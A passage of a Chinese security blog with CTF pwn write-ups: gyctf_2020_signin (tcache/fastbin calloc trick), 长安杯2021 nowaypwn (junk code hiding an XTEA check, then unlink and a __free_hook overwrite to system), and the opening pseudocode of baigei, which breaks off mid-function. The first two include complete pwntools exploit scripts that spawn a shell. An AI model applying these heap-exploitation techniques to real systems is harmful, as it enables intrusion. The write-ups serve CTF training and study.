发表CyberspaceSecurity10 分钟读完 (大约1457个字)

gyctf_2020_signin

info
License
本文引用了部分来自 GNU C Library 的源码，源码取自 GNU C Library 基于 LGPLv2.1．

注：本题目的运行环境使用的 glibc 为 2.27-3ubuntu1_amd64，但本文中展示的所有 glibc 代码为 2.34．

WriteUp-gyctf_2020_signin

看到本文的各位师傅，请允许 Y7n05h 又翻出这段各位都熟悉无比的代码．能够发现从非空的 tcache 中取出 chunk 是在 __libc_malloc() 中完成的，而非在 _int_malloc_() 中．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
                  "PTRDIFF_MAX is not more than half of SIZE_MAX");

  if (!__malloc_initialized)
    ptmalloc_init ();
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      victim = tcache_get (tc_idx);
      return tag_new_usable (victim);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

  if (SINGLE_THREAD_P)
    {
      victim = tag_new_usable (_int_malloc (&main_arena, bytes));
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
	      &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

  arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  victim = tag_new_usable (victim);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;
}

再看 __libc_calloc()：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
void *
__libc_calloc (size_t n, size_t elem_size)
{
  mstate av;
  mchunkptr oldtop;
  INTERNAL_SIZE_T sz, oldtopsize;
  void *mem;
  unsigned long clearsize;
  unsigned long nclears;
  INTERNAL_SIZE_T *d;
  ptrdiff_t bytes;

  if (__glibc_unlikely (__builtin_mul_overflow (n, elem_size, &bytes)))
    {
       __set_errno (ENOMEM);
       return NULL;
    }

  sz = bytes;

  if (!__malloc_initialized)
    ptmalloc_init ();

  MAYBE_INIT_TCACHE ();

  if (SINGLE_THREAD_P)
    av = &main_arena;
  else
    arena_get (av, sz);

  if (av)
    {
      /* Check if we hand out the top chunk, in which case there may be no
	 need to clear. */
#if MORECORE_CLEARS
      oldtop = top (av);
      oldtopsize = chunksize (top (av));
# if MORECORE_CLEARS < 2
      /* Only newly allocated memory is guaranteed to be cleared.  */
      if (av == &main_arena &&
	  oldtopsize < mp_.sbrk_base + av->max_system_mem - (char *) oldtop)
	oldtopsize = (mp_.sbrk_base + av->max_system_mem - (char *) oldtop);
# endif
      if (av != &main_arena)
	{
	  heap_info *heap = heap_for_ptr (oldtop);
	  if (oldtopsize < (char *) heap + heap->mprotect_size - (char *) oldtop)
	    oldtopsize = (char *) heap + heap->mprotect_size - (char *) oldtop;
	}
#endif
    }
  else
    {
      /* No usable arenas.  */
      oldtop = 0;
      oldtopsize = 0;
    }
  mem = _int_malloc (av, sz);

  assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
          av == arena_for_chunk (mem2chunk (mem)));

  if (!SINGLE_THREAD_P)
    {
      if (mem == 0 && av != NULL)
	{
	  LIBC_PROBE (memory_calloc_retry, 1, sz);
	  av = arena_get_retry (av, sz);
	  mem = _int_malloc (av, sz);
	}

      if (av != NULL)
	__libc_lock_unlock (av->mutex);
    }

  /* Allocation failed even after a retry.  */
  if (mem == 0)
    return 0;

  mchunkptr p = mem2chunk (mem);

  /* If we are using memory tagging, then we need to set the tags
     regardless of MORECORE_CLEARS, so we zero the whole block while
     doing so.  */
  if (__glibc_unlikely (mtag_enabled))
    return tag_new_zero_region (mem, memsize (p));

  INTERNAL_SIZE_T csz = chunksize (p);

  /* Two optional cases in which clearing not necessary */
  if (chunk_is_mmapped (p))
    {
      if (__builtin_expect (perturb_byte, 0))
        return memset (mem, 0, sz);

      return mem;
    }

#if MORECORE_CLEARS
  if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize))
    {
      /* clear only the bytes from non-freshly-sbrked memory */
      csz = oldtopsize;
    }
#endif

  /* Unroll clear of <= 36 bytes (72 if 8byte sizes).  We know that
     contents have an odd number of INTERNAL_SIZE_T-sized words;
     minimally 3.  */
  d = (INTERNAL_SIZE_T *) mem;
  clearsize = csz - SIZE_SZ;
  nclears = clearsize / sizeof (INTERNAL_SIZE_T);
  assert (nclears >= 3);

  if (nclears > 9)
    return memset (d, 0, clearsize);

  else
    {
      *(d + 0) = 0;
      *(d + 1) = 0;
      *(d + 2) = 0;
      if (nclears > 4)
        {
          *(d + 3) = 0;
          *(d + 4) = 0;
          if (nclears > 6)
            {
              *(d + 5) = 0;
              *(d + 6) = 0;
              if (nclears > 8)
                {
                  *(d + 7) = 0;
                  *(d + 8) = 0;
                }
            }
        }
    }

  return mem;
}

相信各位都能发现 __libc_calloc() 和 __libc_malloc() 的差别是很小的，通常情况下将 __libc_calloc() 视为 __libc_malloc() + memset() 是合理的．但除此之外还有一点区别是 __libc_calloc() 中缺少从非空的 tcache 取出 chunk 的部分，因此 calloc() 将优先从 fastbin 中分配 chunk．

这也是本题目的利用的核心思路．

错误思路-tcache poisoning

Y7n05h 刚开始也是想采用 tcache poisoning 来完成本题，并寄希望与 free/malloc 的过程中能清除 cnt 实现第二次 edit．但很遗憾，此路并不通．通过此方式虽能将 chunk 分配在 ptr 上，但无法修改 ptr 的值．（至少 Y7n05h 没想到）

正确思路

此方式是从 Pwnki 师傅 的博客学来的．在这里感谢 Pwnki 师傅 师傅．

利用思路：

  1. 分配 8 个大小为 0x80 的 chunk 后全部 free，前 7 个塞满了 tcache，后一个进入 fastbin
  2. 在分配一个 chunk，这将从 tcache 中取出一个 chunk
  3. 修改在 1 中放入的 fastbin 中的 chunk 的 fd 的指针为 ptr - 0x10，注意这个行为使 glibc 认为 ptr - 0x10 是一个 chunk，则 ptr 则是这个 chunk 的 fd
  4. 通过执行 backdoor，调用 calloc 从 fastbin 取出 chunk 并将其 fd 指向的 ptr - 0x10 作为一个 chunk 插入 tcache 链表．插入过程中 ptr 将作为 tcache_entry 的 next 字段被修改．

这些过程的相关代码：

1
2
3
4
5
6
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
12
#define REMOVE_FB(fb, victim, pp)			\
  do							\
    {							\
      victim = pp;					\
      if (victim == NULL)				\
	break;						\
      pp = REVEAL_PTR (victim->fd);                                     \
      if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp)))       \
	malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
    }							\
  while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
	 != victim);					\
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
     /* While we're here, if we see other chunks of the same size,
 stash them in the tcache.  */
     size_t tc_idx = csize2tidx (nb);
     if (tcache && tc_idx < mp_.tcache_bins)
{
  mchunkptr tc_victim;

  /* While bin not empty and tcache not full, copy chunks.  */
  while (tcache->counts[tc_idx] < mp_.tcache_count
	 && (tc_victim = *fb) != NULL)
    {
      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
	malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
      if (SINGLE_THREAD_P)
	*fb = REVEAL_PTR (tc_victim->fd);
      else
	{
	  REMOVE_FB (fb, pp, tc_victim);
	  if (__glibc_unlikely (tc_victim == NULL))
	    break;
	}
      tcache_put (tc_victim, tc_idx);
    }
}

完整 exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
path = '/home/admin/Downloads/gyctf_2020_signin'
elf = ELF(path)
r = process(path)


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def backdoor():
    r.sendafter(b"?", b'6')


def add(idx: int):
    r.sendafter(b"?", b'1')
    r.sendafter(b"idx?\n", i2b(idx))


def delete(idx: int):
    r.sendafter(b"?", b'3')
    r.sendafter(b"idx?\n", i2b(idx))


def edit(idx: int, content: bytes):
    r.sendafter(b"?", b'2')
    r.sendafter(b"idx?\n", i2b(idx))
    r.send(content)


addr = elf.symbols['ptr']-0x10
for i in range(8):
    add(i)
for i in range(8):
    delete(i)

add(8)
payload = p64(addr)
edit(7, payload)

backdoor()
r.interactive()

参考资料

1. Pwnki-gyctf_2020_signin. ↩
2. PYozo_free-gyctf_2020_signin. ↩
发表CyberspaceSecurity20 分钟读完 (大约2941个字)

WriteUp-长安杯2021-决赛 AWD-nowaypwn

Y7n05h 非常激动能有机会（虽然是以替补的身份）参加长安杯 2021 决赛．这是 Y7n05h 第一次参加 CTF 线下赛，因为缺少经验，Y7n05h 犯了不少错误．在本文中，Y7n05h 将复盘比赛时的行为．
同时也感谢「摸一把」战队的大师傅，指出了 Y7n05h 的指点．
在 AWD 赛制中，Y7n05h 对没有做出这道 nowaypwn 十分的遗憾．

现在就让 Y7n05h 重新审视一下这道题目，看看它究竟考察了什么吧．

warning
免责声明

本文所述 PWN 均属 CTF（Capture The Flag）参赛行为或赛前训练行为．笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机．
本文意在分享网络安全与 CTF 相关技术与技巧，共同提升实力．
请本文读者谨记相关法律法规与政策．读者需为自身行为承担相应的法律后果．笔者（Y7n05h）不为读者的行为承担责任．

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
pwn/nowaypwn
filetype: ELF64
arch: AMD64
mode: 64 bits
endianess: LE
type: EXEC
  library: GLIBC(2.4)[EXEC AMD64-64]
  compiler: gcc((Ubuntu 5.3.1-14ubuntu2) 5.3.1 20160413)[EXEC AMD64-64]
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	 No	0		2	/home/admin/pwn/nowaypwn
	linux-vdso.so.1 (0x00007ffc85dee000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fd505212000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fd5053fd000)

题目提供的 libc 附件的版本是 2.23-0ubuntu11.3_amd64，SHA-1 为：eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8（大概是这个，文件弄乱了，Y7n05h 对此不是非常确定）．

逆向工程分析

虽说这是一道 PWN 题，但在 Y7n05h 看来这道题的最重要的部分不是 PWN，而是逆向工程．本题的 PWN 部分十分简单，出题人在逆向工程部分设下了多个障碍．下面就听 Y7n05h 逐一说明．

下面是 IDA 生成的伪码．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 __fastcall sub_400BFD(unsigned int *a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-3Ch]
  unsigned int v3; // [rsp+20h] [rbp-38h]
  unsigned int v4; // [rsp+24h] [rbp-34h]
  unsigned int v5; // [rsp+28h] [rbp-30h]
  int v6[6]; // [rsp+38h] [rbp-20h]
  unsigned __int64 v7; // [rsp+50h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v6[0] = 674697780;
  v6[1] = 422065475;
  v6[2] = 423118625;
  v6[3] = -1741216238;
  v3 = *a1;
  v4 = a1[1];
  v5 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
    v5 -= 1640531527;
    v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
  }
  *a1 = v3;
  result = v4;
  a1[1] = v4;
  return result;
}
_BOOL8 __fastcall sub_400DB8(_BYTE *a1)
{
  sub_400BFD(a1);
  return *a1 == 20
      && a1[1] == 92
      && a1[2] == 0xA6
      && a1[3] == 0xD2
      && a1[4] == 14
      && a1[5] == 69
      && a1[6] == 9
      && a1[7] == 119;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax
  char v4[16]; // [rsp+18h] [rbp-50h] BYREF
  char buf[16]; // [rsp+28h] [rbp-40h] BYREF
  char v6[40]; // [rsp+38h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+60h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  sub_40091D(a1, a2, a3);
  puts("Happy to see you darling!");
  puts("Give me your name:");
  read(0, buf, 0x10uLL);
  puts("Give me your key:");
  read(0, v4, 0x20uLL);
  puts("Now start the game!");
  do
  {
    puts("Input your password!:");
    read(0, v6, 0x2CuLL);
    result = sub_400DB8(v6);
  }
  while ( (_DWORD)result != 1 );
  return result;
}

Y7n05h 在伪码中没有找到任何漏洞．

难道这是个栈题，漏洞存在于 sub_400BFD() 里面吗？

通过 IDA 插件 Findcrypt 得到 TEA_DELTA_400C64 的内容．通过搜索引擎得知 TEA 加密算法．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
uint32_t delta = 0x9e3779b9;//常数 可更改

void tea_encrypt(uint32_t s[2], const uint32_t key[4]) {


    uint32_t l = s[0];
    uint32_t r = s[1];
    uint32_t sum = 0;
    for (int i = 0; i < 32; ++i) {
        l += (((r >> 5) ^ (r << 4)) + r) ^ (key[sum & 3] + sum);
        sum += delta;
        r += (((l >> 5) ^ (l << 4)) + l) ^ (key[(sum >> 11) & 3] + sum);
    }
    s[0] = l;
    s[1] = r;
}
void tea_decrypt(uint32_t v[2], const uint32_t key[4]) {
    uint32_t l = v[0], r = v[1];

    uint32_t sum = delta << 5;
    for (int i = 0; i < 32; i++) {
        r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
    }
    v[0] = l;
    v[1] = r;
}

通过，对比 tea_encrypt() 与 sub_400BFD()，Y7n05h 认为 sub_400BFD() 就是使用 TEA 算法加密一个 64 bits 的分组的函数．

噢，或许会有读者觉得：

在 tea_encrypt() 中是：

1
sum += delta;

在 sub_400BFD() 中是：

1
v5 -= 1640531527;

这两处不但数值不同，而且一处为加法，一处为减法，怎么能说 sub_400BFD() 和 tea_encrypt() 等价呢？

有这样的顾虑的读者，请别忘了，有符号整形采用二进制补码存储，因此减去 1640531527 也就是加上 0x9e3779b9.

因此，Y7n05h 认为这两个函数完全等价（这个结论在当前是正确的），也就是说 sub_400BFD() 是 TEA 加密算法的一种实现，那么就能得知 sub_400BFD() 加密的内容可用 tea_decrypt() 解密．

先别急着去解密密文，别忘了这是 PWN 题，不是逆向题，那么漏洞在哪里呢？Y7n05h 并没有找到．

在紧张的 AWD 比赛中，Y7n05h 对此题没有更多的进展了．在 Y7n05h 发现自己做不出此题后，Y7n05h 决定先开始防御．Y7n05h 写出了下面的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <unistd.h>
int main(void) {
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[0x50];
    puts("Happy to see you darling!");
    puts("Give me your name:");
    read(0, buf, 0x10uLL);
    puts("Give me your key:");
    read(0, buf, 0x20uLL);
    puts("Now start the game!");
    do {
        puts("Input your password!:");
        read(0, buf, 0x2CuLL);
    } while (1);
}

为了防止别的队伍 PWN 掉 Y7n05h 的靶机，Y7n05h 编译了上面的代码，替换了靶机中的程序．Y7n05h 看了看比赛平台上并未将靶机判为宕机状态，于是 Y7n05h 知道这样的改动通过了 check.（「摸一把」战队的大师傅在赛后告诉 Y7n05h 这是比赛方设置的 check 过于宽松，在多数的比赛中 check 将检查原程序与靶机上运行的程序的大小差异，差异过大不能通过 check）Y7n05h 这样的改动通过了 checks 纯属侥幸，请各位读者 不要 学习．

那么使用密钥（v6 的前 128 bits，也就是下面的 key）:

1
2
3
4
5
uint32_t key[4] =
        {0x28371234,
         0x19283543,
         0x19384721,
         0x98372612};

解密密文分组：

1
uint8_t message[9] = {0x14, 0x5c, 0xa6, 0xd2, 0x0e, 0x45, 0x09, 0x77};

通过 pwntools 将得到的明文分组，在程序中输入，得到密码输入错误的提示．

Y7n05h 尝试提取 sub_400BFD() 的伪码修改并编译，输入上面获得的明文分组和密钥，成功的得到了密文分组．
Y7n05h 又去尝试使用 gdb 追踪 sub_400BFD() 的解密过程，发现 sub_400BFD() 结束后，得到了不同于预期的密文分组．

这真是一件令 Y7n05h 感到费解的事！使用 tea_decrypt() 解密密文得到的明文，输入至 tea_encrypt() 或 IDA 中复制出的 sub_400BFD() 能得到相同的密文分组，但若输入至 nowaypwn 程序中，则能得到异于前面的 tea_encrypt() 的输出的密文分组．

这真是奇怪！Y7n05h 开始思考是不是 sub_400BFD() 中是不是存在 C 语言中的 Undefined Behavior 导致了不同的执行结果．

就在 Y7n05h 试图对比通过编译 sub_400BFD() 伪码得到的汇编代码与反汇编 nowaypwn 得到的汇编代码时，发现：

1
2
3
4
.text:0000000000400CF2                 call    $+5
.text:0000000000400CF7                 add     [rsp+58h+var_58], 6
.text:0000000000400CFC                 retn
.text:0000000000400CFC sub_400BFD      endp ; sp-analysis failed

IDA 的报错是因为这里存在花指令，Y7n05h 在这里贴出的部分全都是用于干扰反汇编、反编译工具的花指令，有兴趣知道这些指令为什么能干扰反汇编、反编译工具的读者可以通过 GDB 追踪这三个指令的执行．

通过 IDA 的 patch 功能将这些花指令改为 nop，然后使用 IDA 重新分析程序即可得到完整的 sub_400BFD() 伪码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall sub_400BFD(unsigned int *a1)
{
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v4 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
    v8 -= 1640531527;
    v6 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 0;
  for ( j = 0; j <= 8; ++j )
  {
    v5 += (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
    v9 += 0x19286521;
    v7 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  return __readfsqword(0x28u) ^ v13;
}

通过分析这段伪码就能发现，TEA 算法生成的密文分组并未被使用，程序中真正使用的是另一个加密算法．最终，可知这是 XTEA 算法．
这是 Y7n05h 通过搜索找到的 XTEA 算法实现．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdint.h>
#define delta 0x9E3779B9U//常量 可更改
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0;
    for (int i = 0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}

void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    uint32_t v0 = v[0], v1 = v[1], sum = delta * num_rounds;
    for (int i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}

通过对比能确认这里使用的算法就是修改了 delta 常量的 XTEA 算法．

其实不但这里（0x400CF2）有花指令，在 0x400EEE、0x400B44 也有花指令，patch 掉这些花指令之后，使用 IDA 重新生成伪码，就能清晰的看到漏洞所在：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t Edit()
{
  ssize_t result; // rax
  unsigned __int64 Idx; // [rsp+8h] [rbp-8h]

  Idx = get_Idx();
  if ( Idx > 0x10 || !Arr[2 * Idx] || !Size[2 * Idx] )
    exit(0);
  read(0, Arr[2 * Idx], Size[2 * Idx]);
  result = Size[2 * Idx];
  if ( result == 0x66 )
    return read(0, Arr[2 * Idx], 0x80uLL);
  return result;
}

这里的溢出过于刻意，相信所有人在 patch 掉这些花指令之后都能十分容易的发现这里的漏洞．

漏洞利用

在得到完整的伪码后，就能知道，本题目使用的加密算法是修改了常数的 XTEA 算法．修改 XTEA 的解密算法的常数后，解密得到：skdmaje1．

根据伪码写出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug', os='linux', arch='amd64')

path = '/home/admin/pwn/nowaypwn'
libcpath = '/home/admin/pwn/libc.so.6'

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)

passwd = b'skdmaje1'

r.sendafter(":\n", b'123')  # name
r.sendafter(":\n", b'123')  # key
r.sendafter(":\n", passwd)  # passwd


def up6(addr_port: bytes):
    log.debug("get bytes"+addr_port.hex())
    recvlen = len(addr_port)
    log.debug("recv len "+hex(recvlen))
    assert(recvlen == 6)

    return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def Alloc(size: int):
    r.sendline(b'1')
    r.sendline(i2b(size))


def Delete(idx: int):
    r.sendline(b'2')
    r.sendline(i2b(idx))


def Edit(idx: int, content: bytes):
    r.sendline(b'3')
    r.sendline(i2b(idx))
    r.send(content)


def Show(idx: int):
    r.sendline(b'4')
    r.sendline(i2b(idx))


def Get_pr(idx: int):
    return 0x6020C0+idx*0x10

由于本题并未开启 PIE，Y7n05h 选择使用 Unlink 去完成本题目．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Alloc(0x30)  # 0
Alloc(0x30)  # 1
Alloc(0x66)  # 2
Alloc(0x100)  # 3
Alloc(0x10)  # 4

Edit(0, b'/bin/sh\x00')

Edit(2, cyclic(0x66))
chunk2_pr = Get_pr(2)
payload = flat(0, 0x21, chunk2_pr-0x18, chunk2_pr -
               0x10, 0x20).ljust(0x60)+flat(0x60, 0x110)
r.send(payload)  # size 为 0x66 触发再次读取，产生溢出

# Unlink
Delete(3)

payload = flat(8, elf.got['puts'], 0x8, Get_pr(1), 8)
Edit(2, payload)
r.send(p64(elf.got['puts']))  # size 为 0x66 触发再次读取

Show(1)
puts_addr = up6(r.recv(6))
libc_base = puts_addr-libc.symbols['puts']
free_hook_addr = libc.symbols['__free_hook']+libc_base
system_addr = libc.symbols['system']+libc_base
payload = p64(free_hook_addr)
Edit(2, payload)
Edit(1, p64(system_addr))
Delete(0)
r.interactive()

因为本题的 PWN 部分十分简单，Y7n05h 就不解释 exp 的每行的作用了．

最后，再次感谢「摸一把」战队的大师傅，Y7n05h 在比赛中没找到漏洞点，有花指令隐藏了漏洞点是 Y7n05h 赛后从「摸一把」战队的大师傅那里得知的．

发表CyberspaceSecurity17 分钟读完 (大约2483个字)

WriteUp-长安杯2021-baigei

warning
免责声明

本文所述 PWN 均属 CTF（Capture The Flag）参赛行为或赛前训练行为．笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机．
本文意在分享网络安全与 CTF 相关技术与技巧，共同提升实力．
请本文读者谨记相关法律法规与政策．读者需为自身行为承担相应的法律后果．笔者（Y7n05h）不为读者的行为承担责任．

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
filetype: ELF64
arch: AMD64
mode: 64
endianess: LE
type: DYN
  library: GLIBC(2.4)[DYN AMD64-64]
  compiler: gcc((Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0)[DYN AMD64-64]
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        No    0               2               /home/admin/Downloads/baige/main
linux-vdso.so.1 (0x00007fff7d9f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6e75d5f000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6e7614b000)

题目提供的 libc 附件的版本是 2.27-3ubuntu1.4_amd64，SHA-1 为：46e93283ff53133360e02a73ae5b5ba375410855．

程序分析

下面是通过逆向工程分析得到的伪码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
int Memu()
{
  puts("1.Allocate");
  puts("2.Delete");
  puts("3.Edit");
  puts("4.Show");
  puts("5.Exit");
  return puts(">>");
}
int read_Int()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[(int)read(0, buf, 0x10uLL)] = 0;
  return atoi(buf);
}
int Alloc()
{
  unsigned int idx; // [rsp+0h] [rbp-10h]
  int nbytes; // [rsp+4h] [rbp-Ch]
  void *pr; // [rsp+8h] [rbp-8h]

  puts("idx?");
  idx = read_Int();
  if ( idx > 0xF )
    return puts("error!");
  puts("size?");
  nbytes = read_Int();
  Size_Arr[idx] = nbytes;
  if ( nbytes > 1024 )
    return puts("error!");
  pr = malloc(nbytes);
  if ( !pr )
    return puts("error!");
  Pr_Arr[idx] = pr;
  puts("content?");
  read(0, Pr_Arr[idx], (unsigned int)nbytes);
  return puts("success!");
}
int Delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
  if ( v1 > 0xF || !Pr_Arr[v1] )
    return puts("error!");
  free(Pr_Arr[v1]);
  Pr_Arr[v1] = 0LL;
  return puts("success!");
}
int Edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  int nbytes; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
  if ( v1 > 0xF )
    return puts("error!");
  if ( !Pr_Arr[v1] )
    return puts("error!");
  puts("size?");
  nbytes = read_Int();
  if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
    return puts("error!");
  puts("content?");
  read(0, Pr_Arr[v1], (unsigned int)nbytes);
  return puts("success!");
}
int Show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
